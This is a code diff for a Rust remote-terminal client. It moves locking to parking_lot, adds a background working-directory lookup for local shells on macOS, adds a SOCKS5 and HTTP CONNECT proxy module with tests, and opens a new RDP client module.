@@ -1273,7 +1326,7 @@ mod tests {
|
|||||||
nick: "me".into(),
|
nick: "me".into(),
|
||||||
connect_timeout: Duration::from_secs(5),
|
connect_timeout: Duration::from_secs(5),
|
||||||
connector: Some(Arc::new(move || {
|
connector: Some(Arc::new(move || {
|
||||||
*flag.lock().unwrap() = true;
|
*flag.lock() = true;
|
||||||
let s = TcpStream::connect(addr)?;
|
let s = TcpStream::connect(addr)?;
|
||||||
s.set_read_timeout(Some(Duration::from_millis(20)))?;
|
s.set_read_timeout(Some(Duration::from_millis(20)))?;
|
||||||
Ok(Box::new(s) as Box<dyn ReadWrite>)
|
Ok(Box::new(s) as Box<dyn ReadWrite>)
|
||||||
@@ -1286,7 +1339,7 @@ mod tests {
|
|||||||
srv.expect("USER me * * me");
|
srv.expect("USER me * * me");
|
||||||
srv.send(":srv 001 me :Welcome");
|
srv.send(":srv 001 me :Welcome");
|
||||||
connecting.join().unwrap().unwrap();
|
connecting.join().unwrap().unwrap();
|
||||||
assert!(*used.lock().unwrap());
|
assert!(*used.lock());
|
||||||
client.handle_input("", "/quit gone").unwrap();
|
client.handle_input("", "/quit gone").unwrap();
|
||||||
srv.expect("QUIT gone");
|
srv.expect("QUIT gone");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,10 +2,12 @@
|
|||||||
|
|
||||||
use super::Callbacks;
|
use super::Callbacks;
|
||||||
use crate::Result;
|
use crate::Result;
|
||||||
|
use parking_lot::Mutex;
|
||||||
use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system};
|
use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system};
|
||||||
use std::io::{Read, Write};
|
use std::io::{Read, Write};
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
|
use std::sync::atomic::{AtomicBool, Ordering};
|
||||||
|
|
||||||
pub fn default_shell() -> String {
|
pub fn default_shell() -> String {
|
||||||
if cfg!(windows) {
|
if cfg!(windows) {
|
||||||
@@ -26,17 +28,27 @@ pub struct LocalShell {
|
|||||||
shell: String,
|
shell: String,
|
||||||
cb: Callbacks,
|
cb: Callbacks,
|
||||||
state: Mutex<(Option<Running>, PathBuf, u16, u16, bool)>, // running, cwd, cols, rows, closed
|
state: Mutex<(Option<Running>, PathBuf, u16, u16, bool)>, // running, cwd, cols, rows, closed
|
||||||
|
/// A line was entered since the last cwd lookup. On macOS the lookup shells out to lsof, too
|
||||||
|
/// slow for the write path, so it runs off-thread once the shell next prints something.
|
||||||
|
cwd_stale: AtomicBool,
|
||||||
|
capturing: AtomicBool,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl LocalShell {
|
impl LocalShell {
|
||||||
pub fn new(shell: &str, start_dir: Option<PathBuf>, cols: u16, rows: u16, cb: Callbacks) -> Arc<LocalShell> {
|
pub fn new(shell: &str, start_dir: Option<PathBuf>, cols: u16, rows: u16, cb: Callbacks) -> Arc<LocalShell> {
|
||||||
let shell = if shell.is_empty() { default_shell() } else { shell.to_string() };
|
let shell = if shell.is_empty() { default_shell() } else { shell.to_string() };
|
||||||
let dir = start_dir.filter(|d| d.is_dir()).or_else(home_dir).unwrap_or_else(|| PathBuf::from("/"));
|
let dir = start_dir.filter(|d| d.is_dir()).or_else(home_dir).unwrap_or_else(|| PathBuf::from("/"));
|
||||||
Arc::new(LocalShell { shell, cb, state: Mutex::new((None, dir, cols.max(1), rows.max(1), false)) })
|
Arc::new(LocalShell {
|
||||||
|
shell,
|
||||||
|
cb,
|
||||||
|
state: Mutex::new((None, dir, cols.max(1), rows.max(1), false)),
|
||||||
|
cwd_stale: Default::default(),
|
||||||
|
capturing: Default::default(),
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn start(self: &Arc<Self>) -> Result<()> {
|
pub fn start(self: &Arc<Self>) -> Result<()> {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
if st.4 {
|
if st.4 {
|
||||||
return Err("shell already closed".into());
|
return Err("shell already closed".into());
|
||||||
}
|
}
|
||||||
@@ -69,7 +81,12 @@ impl LocalShell {
|
|||||||
loop {
|
loop {
|
||||||
match reader.read(&mut buf) {
|
match reader.read(&mut buf) {
|
||||||
Ok(0) | Err(_) => break,
|
Ok(0) | Err(_) => break,
|
||||||
Ok(n) => (me.cb.on_data)(&buf[..n]),
|
Ok(n) => {
|
||||||
|
(me.cb.on_data)(&buf[..n]);
|
||||||
|
if me.cwd_stale.swap(false, Ordering::SeqCst) {
|
||||||
|
me.capture_cwd_in_background();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})?;
|
})?;
|
||||||
@@ -77,7 +94,7 @@ impl LocalShell {
|
|||||||
std::thread::Builder::new().name("nexus-local-wait".into()).spawn(move || {
|
std::thread::Builder::new().name("nexus-local-wait".into()).spawn(move || {
|
||||||
let _ = child.wait();
|
let _ = child.wait();
|
||||||
let was_closed = {
|
let was_closed = {
|
||||||
let mut st = me.state.lock().unwrap();
|
let mut st = me.state.lock();
|
||||||
let was = st.4;
|
let was = st.4;
|
||||||
st.4 = true;
|
st.4 = true;
|
||||||
st.0 = None;
|
st.0 = None;
|
||||||
@@ -94,14 +111,14 @@ impl LocalShell {
|
|||||||
if data.iter().any(|b| matches!(b, b'\r' | b'\n' | 4)) {
|
if data.iter().any(|b| matches!(b, b'\r' | b'\n' | 4)) {
|
||||||
self.capture_cwd();
|
self.capture_cwd();
|
||||||
}
|
}
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
let r = st.0.as_mut().ok_or("shell not running")?;
|
let r = st.0.as_mut().ok_or("shell not running")?;
|
||||||
r.writer.write_all(data)?;
|
r.writer.write_all(data)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn resize(&self, cols: u16, rows: u16) -> Result<()> {
|
pub fn resize(&self, cols: u16, rows: u16) -> Result<()> {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
if cols > 0 {
|
if cols > 0 {
|
||||||
st.2 = cols;
|
st.2 = cols;
|
||||||
}
|
}
|
||||||
@@ -117,7 +134,7 @@ impl LocalShell {
|
|||||||
|
|
||||||
/// Idempotent; does not fire on_close (matches Go: an explicit close is not an exit).
|
/// Idempotent; does not fire on_close (matches Go: an explicit close is not an exit).
|
||||||
pub fn close(&self) {
|
pub fn close(&self) {
|
||||||
let mut st = self.state.lock().unwrap();
|
let mut st = self.state.lock();
|
||||||
if st.4 {
|
if st.4 {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -129,14 +146,33 @@ impl LocalShell {
|
|||||||
|
|
||||||
/// The last directory the shell was seen in (used to restart in the same place).
|
/// The last directory the shell was seen in (used to restart in the same place).
|
||||||
pub fn working_directory(&self) -> PathBuf {
|
pub fn working_directory(&self) -> PathBuf {
|
||||||
self.state.lock().unwrap().1.clone()
|
self.state.lock().1.clone()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn capture_cwd(&self) {
|
fn capture_cwd(&self) {
|
||||||
let pid = self.state.lock().unwrap().0.as_ref().and_then(|r| r.pid);
|
if cfg!(target_os = "macos") {
|
||||||
if let Some(dir) = pid.and_then(process_cwd).filter(|d| d.is_dir()) {
|
self.cwd_stale.store(true, Ordering::SeqCst);
|
||||||
self.state.lock().unwrap().1 = dir;
|
return;
|
||||||
}
|
}
|
||||||
|
let pid = self.state.lock().0.as_ref().and_then(|r| r.pid);
|
||||||
|
if let Some(dir) = pid.and_then(process_cwd).filter(|d| d.is_dir()) {
|
||||||
|
self.state.lock().1 = dir;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn capture_cwd_in_background(self: &Arc<Self>) {
|
||||||
|
let Some(pid) = self.state.lock().0.as_ref().and_then(|r| r.pid) else { return };
|
||||||
|
if self.capturing.swap(true, Ordering::SeqCst) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let me = self.clone();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
// A failed lookup (the shell already exited) keeps the last known directory.
|
||||||
|
if let Some(dir) = process_cwd(pid).filter(|d| d.is_dir()) {
|
||||||
|
me.state.lock().1 = dir;
|
||||||
|
}
|
||||||
|
me.capturing.store(false, Ordering::SeqCst);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -165,22 +201,19 @@ mod tests {
|
|||||||
let seen: Arc<Mutex<Vec<u8>>> = Arc::default();
|
let seen: Arc<Mutex<Vec<u8>>> = Arc::default();
|
||||||
let closed = Arc::new(Mutex::new(0));
|
let closed = Arc::new(Mutex::new(0));
|
||||||
let (s2, c2) = (seen.clone(), closed.clone());
|
let (s2, c2) = (seen.clone(), closed.clone());
|
||||||
let cb = Callbacks {
|
let cb =
|
||||||
on_data: Arc::new(move |d| s2.lock().unwrap().extend_from_slice(d)),
|
Callbacks { on_data: Arc::new(move |d| s2.lock().extend_from_slice(d)), on_error: Arc::new(|_| {}), on_close: Arc::new(move || *c2.lock() += 1) };
|
||||||
on_error: Arc::new(|_| {}),
|
|
||||||
on_close: Arc::new(move || *c2.lock().unwrap() += 1),
|
|
||||||
};
|
|
||||||
let sh = LocalShell::new("/bin/sh", Some("/tmp".into()), 80, 24, cb);
|
let sh = LocalShell::new("/bin/sh", Some("/tmp".into()), 80, 24, cb);
|
||||||
sh.start().unwrap();
|
sh.start().unwrap();
|
||||||
sh.write(b"cd / && echo local-$((2*21))\n").unwrap();
|
sh.write(b"cd / && echo local-$((2*21))\n").unwrap();
|
||||||
let t = Instant::now();
|
let t = Instant::now();
|
||||||
while !String::from_utf8_lossy(&seen.lock().unwrap()).contains("local-42") {
|
while !String::from_utf8_lossy(&seen.lock()).contains("local-42") {
|
||||||
assert!(t.elapsed() < Duration::from_secs(5));
|
assert!(t.elapsed() < Duration::from_secs(5));
|
||||||
std::thread::sleep(Duration::from_millis(20));
|
std::thread::sleep(Duration::from_millis(20));
|
||||||
}
|
}
|
||||||
sh.resize(100, 30).unwrap();
|
sh.resize(100, 30).unwrap();
|
||||||
sh.write(b"exit\n").unwrap();
|
sh.write(b"exit\n").unwrap();
|
||||||
while *closed.lock().unwrap() == 0 {
|
while *closed.lock() == 0 {
|
||||||
assert!(t.elapsed() < Duration::from_secs(5));
|
assert!(t.elapsed() < Duration::from_secs(5));
|
||||||
std::thread::sleep(Duration::from_millis(20));
|
std::thread::sleep(Duration::from_millis(20));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -37,7 +37,9 @@ impl Callbacks {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub mod proxy;
|
||||||
pub mod raw;
|
pub mod raw;
|
||||||
|
pub mod rdp;
|
||||||
pub mod serial;
|
pub mod serial;
|
||||||
pub mod telnet;
|
pub mod telnet;
|
||||||
pub mod vnc;
|
pub mod vnc;
|
||||||
@@ -69,20 +71,20 @@ pub(crate) fn dial(host: &str, port: i64, timeout_secs: i64) -> (String, std::io
|
|||||||
/// a lock, a reader thread that feeds `on_read`, and Go's error/close semantics (a read error or EOF
|
/// a lock, a reader thread that feeds `on_read`, and Go's error/close semantics (a read error or EOF
|
||||||
/// reports `read error: …` then closes; `close` is idempotent and fires `on_close` once).
|
/// reports `read error: …` then closes; `close` is idempotent and fires `on_close` once).
|
||||||
pub(crate) struct TcpConn {
|
pub(crate) struct TcpConn {
|
||||||
stream: std::sync::Mutex<Option<std::net::TcpStream>>,
|
stream: parking_lot::Mutex<Option<std::net::TcpStream>>,
|
||||||
on_error: ErrorFn,
|
on_error: ErrorFn,
|
||||||
on_close: CloseFn,
|
on_close: CloseFn,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl TcpConn {
|
impl TcpConn {
|
||||||
pub(crate) fn new(on_error: ErrorFn, on_close: CloseFn) -> TcpConn {
|
pub(crate) fn new(on_error: ErrorFn, on_close: CloseFn) -> TcpConn {
|
||||||
TcpConn { stream: std::sync::Mutex::new(None), on_error, on_close }
|
TcpConn { stream: parking_lot::Mutex::new(None), on_error, on_close }
|
||||||
}
|
}
|
||||||
|
|
||||||
pub(crate) fn connect(self: &Arc<Self>, stream: std::net::TcpStream, mut on_read: impl FnMut(&[u8]) + Send + 'static) -> crate::Result<()> {
|
pub(crate) fn connect(self: &Arc<Self>, stream: std::net::TcpStream, mut on_read: impl FnMut(&[u8]) + Send + 'static) -> crate::Result<()> {
|
||||||
let mut reader = stream.try_clone()?;
|
let mut reader = stream.try_clone()?;
|
||||||
{
|
{
|
||||||
let mut guard = self.stream.lock().unwrap();
|
let mut guard = self.stream.lock();
|
||||||
if guard.is_some() {
|
if guard.is_some() {
|
||||||
return Err("already connected".into());
|
return Err("already connected".into());
|
||||||
}
|
}
|
||||||
@@ -115,18 +117,18 @@ impl TcpConn {
|
|||||||
|
|
||||||
pub(crate) fn write(&self, data: &[u8]) -> crate::Result<()> {
|
pub(crate) fn write(&self, data: &[u8]) -> crate::Result<()> {
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
let guard = self.stream.lock().unwrap();
|
let guard = self.stream.lock();
|
||||||
let mut s = guard.as_ref().ok_or("not connected")?;
|
let mut s = guard.as_ref().ok_or("not connected")?;
|
||||||
s.write_all(data)?;
|
s.write_all(data)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub(crate) fn is_connected(&self) -> bool {
|
pub(crate) fn is_connected(&self) -> bool {
|
||||||
self.stream.lock().unwrap().is_some()
|
self.stream.lock().is_some()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub(crate) fn close(&self) {
|
pub(crate) fn close(&self) {
|
||||||
let taken = self.stream.lock().unwrap().take();
|
let taken = self.stream.lock().take();
|
||||||
if let Some(s) = taken {
|
if let Some(s) = taken {
|
||||||
let _ = s.shutdown(std::net::Shutdown::Both);
|
let _ = s.shutdown(std::net::Shutdown::Both);
|
||||||
(self.on_close)();
|
(self.on_close)();
|
||||||
|
|||||||
@@ -0,0 +1,224 @@
|
|||||||
|
//! Outbound proxies (SOCKS5, HTTP CONNECT) for the clients that dial TCP themselves: SSH and RDP.
|
||||||
|
//! Blocking; async callers run it on a blocking thread.
|
||||||
|
|
||||||
|
use crate::Result;
|
||||||
|
use base64::Engine;
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
use std::net::TcpStream;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
#[derive(Clone, Debug, Default, PartialEq)]
|
||||||
|
pub struct Proxy {
|
||||||
|
/// "socks5" or "http"; anything else (including "none" and "") dials directly.
|
||||||
|
pub kind: String,
|
||||||
|
pub host: String,
|
||||||
|
pub port: u16,
|
||||||
|
pub username: String,
|
||||||
|
pub password: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Proxy {
|
||||||
|
pub fn is_direct(&self) -> bool {
|
||||||
|
!matches!(self.kind.to_lowercase().as_str(), "socks5" | "http")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A TCP stream to `host:port`, through the proxy when one is configured.
|
||||||
|
pub fn connect(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
|
||||||
|
match self.kind.to_lowercase().as_str() {
|
||||||
|
"socks5" => self.socks5(host, port, timeout),
|
||||||
|
"http" => self.http(host, port, timeout),
|
||||||
|
_ => tcp(host, port, timeout).map_err(|e| format!("dial tcp {host}:{port}: {e}").into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn open(&self, default_port: u16, what: &str, timeout: Duration) -> Result<TcpStream> {
|
||||||
|
let port = if self.port == 0 { default_port } else { self.port };
|
||||||
|
let s = tcp(&self.host, port, timeout).map_err(|e| format!("{what} proxy connection failed: {e}"))?;
|
||||||
|
// The handshake must not hang on a silent proxy either.
|
||||||
|
s.set_read_timeout(Some(timeout))?;
|
||||||
|
Ok(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn socks5(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
|
||||||
|
let mut s = self.open(1080, "SOCKS5", timeout)?;
|
||||||
|
let auth = !self.username.is_empty();
|
||||||
|
s.write_all(if auth { &[5, 2, 0, 2] } else { &[5, 1, 0] })?;
|
||||||
|
let mut r = [0u8; 2];
|
||||||
|
s.read_exact(&mut r)?;
|
||||||
|
match r[1] {
|
||||||
|
0 => {}
|
||||||
|
2 if auth => {
|
||||||
|
s.write_all(&socks5_auth_request(&self.username, &self.password)?)?;
|
||||||
|
s.read_exact(&mut r)?;
|
||||||
|
if r[1] != 0 {
|
||||||
|
return Err("SOCKS5 proxy: authentication failed".into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_ => return Err("SOCKS5 proxy: no acceptable authentication method".into()),
|
||||||
|
}
|
||||||
|
s.write_all(&socks5_connect_request(host, port)?)?;
|
||||||
|
let mut head = [0u8; 4];
|
||||||
|
s.read_exact(&mut head)?;
|
||||||
|
if head[1] != 0 {
|
||||||
|
return Err(format!("SOCKS5 proxy connection to {host}:{port} failed: reply code {}", head[1]).into());
|
||||||
|
}
|
||||||
|
let addr_len = match head[3] {
|
||||||
|
1 => 4,
|
||||||
|
4 => 16,
|
||||||
|
3 => {
|
||||||
|
let mut n = [0u8; 1];
|
||||||
|
s.read_exact(&mut n)?;
|
||||||
|
n[0] as usize
|
||||||
|
}
|
||||||
|
_ => 0,
|
||||||
|
};
|
||||||
|
let mut rest = vec![0u8; addr_len + 2];
|
||||||
|
s.read_exact(&mut rest)?;
|
||||||
|
s.set_read_timeout(None)?;
|
||||||
|
Ok(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn http(&self, host: &str, port: u16, timeout: Duration) -> Result<TcpStream> {
|
||||||
|
let mut s = self.open(8080, "HTTP", timeout)?;
|
||||||
|
let mut req = format!("CONNECT {host}:{port} HTTP/1.1\r\nHost: {host}:{port}\r\n");
|
||||||
|
if !self.username.is_empty() {
|
||||||
|
let cred = base64::engine::general_purpose::STANDARD.encode(format!("{}:{}", self.username, self.password));
|
||||||
|
req += &format!("Proxy-Authorization: Basic {cred}\r\n");
|
||||||
|
}
|
||||||
|
req += "\r\n";
|
||||||
|
s.write_all(req.as_bytes())?;
|
||||||
|
// Read the response head byte by byte so no tunnelled bytes are consumed.
|
||||||
|
let mut head = Vec::new();
|
||||||
|
let mut b = [0u8; 1];
|
||||||
|
while !head.ends_with(b"\r\n\r\n") {
|
||||||
|
s.read_exact(&mut b).map_err(|e| format!("HTTP CONNECT response read failed: {e}"))?;
|
||||||
|
head.push(b[0]);
|
||||||
|
if head.len() > 16 * 1024 {
|
||||||
|
return Err("HTTP CONNECT response too large".into());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let status = String::from_utf8_lossy(&head).lines().next().unwrap_or("").to_string();
|
||||||
|
if status.split_whitespace().nth(1) != Some("200") {
|
||||||
|
return Err(format!("HTTP CONNECT proxy returned {status}").into());
|
||||||
|
}
|
||||||
|
s.set_read_timeout(None)?;
|
||||||
|
Ok(s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn tcp(host: &str, port: u16, timeout: Duration) -> std::io::Result<TcpStream> {
|
||||||
|
use std::net::ToSocketAddrs;
|
||||||
|
let mut last = std::io::Error::new(std::io::ErrorKind::NotFound, "no addresses found");
|
||||||
|
for sa in (host, port).to_socket_addrs()? {
|
||||||
|
match TcpStream::connect_timeout(&sa, timeout) {
|
||||||
|
Ok(s) => return Ok(s),
|
||||||
|
Err(e) => last = e,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(last)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RFC 1929 username/password sub-negotiation. Both fields carry a one-byte length, so longer
|
||||||
|
/// values are rejected rather than silently truncated into a malformed request.
|
||||||
|
fn socks5_auth_request(user: &str, pass: &str) -> Result<Vec<u8>> {
|
||||||
|
let ulen = u8::try_from(user.len()).map_err(|_| "SOCKS5 proxy: username longer than 255 bytes")?;
|
||||||
|
let plen = u8::try_from(pass.len()).map_err(|_| "SOCKS5 proxy: password longer than 255 bytes")?;
|
||||||
|
let mut m = vec![1, ulen];
|
||||||
|
m.extend(user.as_bytes());
|
||||||
|
m.push(plen);
|
||||||
|
m.extend(pass.as_bytes());
|
||||||
|
Ok(m)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RFC 1928 CONNECT with a domain-name address (one-byte length).
|
||||||
|
fn socks5_connect_request(host: &str, port: u16) -> Result<Vec<u8>> {
|
||||||
|
let hlen = u8::try_from(host.len()).map_err(|_| "SOCKS5 proxy: host name longer than 255 bytes")?;
|
||||||
|
let mut req = vec![5, 1, 0, 3, hlen];
|
||||||
|
req.extend(host.as_bytes());
|
||||||
|
req.extend(port.to_be_bytes());
|
||||||
|
Ok(req)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use std::net::TcpListener;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn socks5_encoding() {
|
||||||
|
assert_eq!(socks5_connect_request("example.com", 22).unwrap(), [&[5u8, 1, 0, 3, 11][..], b"example.com", &[0, 22]].concat());
|
||||||
|
assert!(socks5_connect_request(&"h".repeat(256), 22).is_err());
|
||||||
|
assert_eq!(socks5_auth_request("u", "pw").unwrap(), [1, 1, b'u', 2, b'p', b'w']);
|
||||||
|
assert!(socks5_auth_request(&"u".repeat(256), "").is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A one-shot proxy that checks the handshake, then echoes.
|
||||||
|
fn fake_proxy(handshake: impl FnOnce(&mut TcpStream) + Send + 'static) -> u16 {
|
||||||
|
let l = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||||
|
let port = l.local_addr().unwrap().port();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let (mut s, _) = l.accept().unwrap();
|
||||||
|
handshake(&mut s);
|
||||||
|
let mut buf = [0u8; 4];
|
||||||
|
s.read_exact(&mut buf).unwrap();
|
||||||
|
s.write_all(&buf).unwrap();
|
||||||
|
});
|
||||||
|
port
|
||||||
|
}
|
||||||
|
|
||||||
|
fn echo_through(p: &Proxy) {
|
||||||
|
let mut s = p.connect("target.example", 3389, Duration::from_secs(5)).unwrap();
|
||||||
|
s.write_all(b"ping").unwrap();
|
||||||
|
let mut buf = [0u8; 4];
|
||||||
|
s.read_exact(&mut buf).unwrap();
|
||||||
|
assert_eq!(&buf, b"ping");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn socks5_with_auth_reaches_the_target() {
|
||||||
|
let port = fake_proxy(|s| {
|
||||||
|
let mut b = [0u8; 4];
|
||||||
|
s.read_exact(&mut b).unwrap();
|
||||||
|
assert_eq!(b, [5, 2, 0, 2]);
|
||||||
|
s.write_all(&[5, 2]).unwrap();
|
||||||
|
let mut auth = [0u8; 7];
|
||||||
|
s.read_exact(&mut auth).unwrap();
|
||||||
|
assert_eq!(auth, [1, 1, b'u', 3, b'p', b'w', b'd']);
|
||||||
|
s.write_all(&[1, 0]).unwrap();
|
||||||
|
let mut req = vec![0u8; 5 + 14 + 2];
|
||||||
|
s.read_exact(&mut req).unwrap();
|
||||||
|
assert_eq!(&req[5..19], b"target.example");
|
||||||
|
assert_eq!(&req[19..], &3389u16.to_be_bytes());
|
||||||
|
s.write_all(&[5, 0, 0, 1, 127, 0, 0, 1, 0, 0]).unwrap();
|
||||||
|
});
|
||||||
|
echo_through(&Proxy { kind: "socks5".into(), host: "127.0.0.1".into(), port, username: "u".into(), password: "pwd".into() });
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn http_connect_sends_basic_auth_and_needs_200() {
|
||||||
|
let port = fake_proxy(|s| {
|
||||||
|
let mut head = Vec::new();
|
||||||
|
let mut b = [0u8; 1];
|
||||||
|
while !head.ends_with(b"\r\n\r\n") {
|
||||||
|
s.read_exact(&mut b).unwrap();
|
||||||
|
head.push(b[0]);
|
||||||
|
}
|
||||||
|
let head = String::from_utf8(head).unwrap();
|
||||||
|
assert!(head.starts_with("CONNECT target.example:3389 HTTP/1.1\r\n"), "{head}");
|
||||||
|
assert!(head.contains("Proxy-Authorization: Basic dTpwd2Q=\r\n"), "{head}");
|
||||||
|
s.write_all(b"HTTP/1.1 200 Connection established\r\n\r\n").unwrap();
|
||||||
|
});
|
||||||
|
echo_through(&Proxy { kind: "http".into(), host: "127.0.0.1".into(), port, username: "u".into(), password: "pwd".into() });
|
||||||
|
|
||||||
|
let l = TcpListener::bind("127.0.0.1:0").unwrap();
|
||||||
|
let port = l.local_addr().unwrap().port();
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let (mut s, _) = l.accept().unwrap();
|
||||||
|
let mut buf = [0u8; 256];
|
||||||
|
let _ = s.read(&mut buf);
|
||||||
|
s.write_all(b"HTTP/1.1 407 Proxy Authentication Required\r\n\r\n").unwrap();
|
||||||
|
});
|
||||||
|
let err = Proxy { kind: "http".into(), host: "127.0.0.1".into(), port, ..Default::default() }.connect("t", 1, Duration::from_secs(5)).unwrap_err();
|
||||||
|
assert!(err.to_string().contains("407"), "{err}");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,8 +2,9 @@
|
|||||||
//! of sent ("send") and received ("recv") frames, JSON capture, and the hex/escape encoders the
|
//! of sent ("send") and received ("recv") frames, JSON capture, and the hex/escape encoders the
|
||||||
//! RAW view reuses.
|
//! RAW view reuses.
|
||||||
|
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::collections::VecDeque;
|
use std::collections::VecDeque;
|
||||||
use std::sync::{Arc, Mutex};
|
use std::sync::Arc;
|
||||||
|
|
||||||
use base64::Engine;
|
use base64::Engine;
|
||||||
use serde::Serialize;
|
use serde::Serialize;
|
||||||
@@ -115,11 +116,11 @@ impl RawClient {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn history(&self) -> Vec<HistoryEntry> {
|
pub fn history(&self) -> Vec<HistoryEntry> {
|
||||||
self.inner.history.lock().unwrap().entries.iter().cloned().collect()
|
self.inner.history.lock().entries.iter().cloned().collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn clear_history(&self) {
|
pub fn clear_history(&self) {
|
||||||
*self.inner.history.lock().unwrap() = History::default();
|
*self.inner.history.lock() = History::default();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Writes the history to `path` as indented JSON (mode 0600 on Unix), as Go did.
|
/// Writes the history to `path` as indented JSON (mode 0600 on Unix), as Go did.
|
||||||
@@ -146,7 +147,7 @@ impl Inner {
|
|||||||
if entry.data.len() > MAX_HISTORY_BYTES {
|
if entry.data.len() > MAX_HISTORY_BYTES {
|
||||||
entry.data.drain(..entry.data.len() - MAX_HISTORY_BYTES);
|
entry.data.drain(..entry.data.len() - MAX_HISTORY_BYTES);
|
||||||
}
|
}
|
||||||
let mut h = self.history.lock().unwrap();
|
let mut h = self.history.lock();
|
||||||
h.bytes += entry.data.len();
|
h.bytes += entry.data.len();
|
||||||
h.entries.push_back(entry);
|
h.entries.push_back(entry);
|
||||||
while h.entries.len() > MAX_HISTORY_ENTRIES || h.bytes > MAX_HISTORY_BYTES {
|
while h.entries.len() > MAX_HISTORY_ENTRIES || h.bytes > MAX_HISTORY_BYTES {
|
||||||
|
|||||||
@@ -0,0 +1,496 @@
|
|||||||
|
//! RDP client on IronRDP: TLS with NLA (CredSSP), the server certificate pinned through the
|
||||||
|
//! caller's host-key check, any transport the caller dials (direct, SOCKS5/HTTP proxy or an SSH
|
||||||
|
//! tunnel), and the desktop decoded into the same RGBA framebuffer the VNC client uses. Like the
|
||||||
|
//! other clients, `connect` blocks and the session runs on its own thread.
|
||||||
|
|
||||||
|
use super::vnc::{FrameFn, Framebuffer};
|
||||||
|
use super::{CloseFn, ErrorFn};
|
||||||
|
use crate::Result;
|
||||||
|
use ironrdp::connector::connection_activation::ConnectionActivationState;
|
||||||
|
use ironrdp::connector::{self, ClientConnector, ConnectionResult, Credentials, Sequence, ServerName};
|
||||||
|
use ironrdp::displaycontrol::client::DisplayControlClient;
|
||||||
|
use ironrdp::dvc::DrdynvcClient;
|
||||||
|
use ironrdp::graphics::image_processing::PixelFormat;
|
||||||
|
use ironrdp::input::Database;
|
||||||
|
pub use ironrdp::input::{MouseButton, MousePosition, Operation, Scancode, WheelRotations};
|
||||||
|
use ironrdp::pdu::gcc::KeyboardType;
|
||||||
|
use ironrdp::pdu::rdp::capability_sets::MajorPlatformType;
|
||||||
|
use ironrdp::pdu::rdp::client_info::{PerformanceFlags, TimezoneInfo};
|
||||||
|
use ironrdp::session::image::DecodedImage;
|
||||||
|
use ironrdp::session::{ActiveStageBuilder, ActiveStageOutput, fast_path};
|
||||||
|
use ironrdp_blocking::Framed;
|
||||||
|
use parking_lot::Mutex;
|
||||||
|
use sha2::{Digest, Sha256};
|
||||||
|
use std::net::TcpStream;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::sync::mpsc::{self, Receiver, Sender};
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
/// Opens the TCP stream to the RDP server (directly, via a proxy or through an SSH tunnel).
|
||||||
|
pub type Dial = Arc<dyn Fn() -> Result<TcpStream> + Send + Sync>;
|
||||||
|
/// Decides whether to trust the server certificate, given its `SHA256:<base64>` fingerprint.
|
||||||
|
pub type CertCheck = Arc<dyn Fn(&str) -> std::result::Result<(), String> + Send + Sync>;
|
||||||
|
|
||||||
|
#[derive(Clone)]
|
||||||
|
pub struct Config {
|
||||||
|
/// Used for the TLS server name and CredSSP's target name.
|
||||||
|
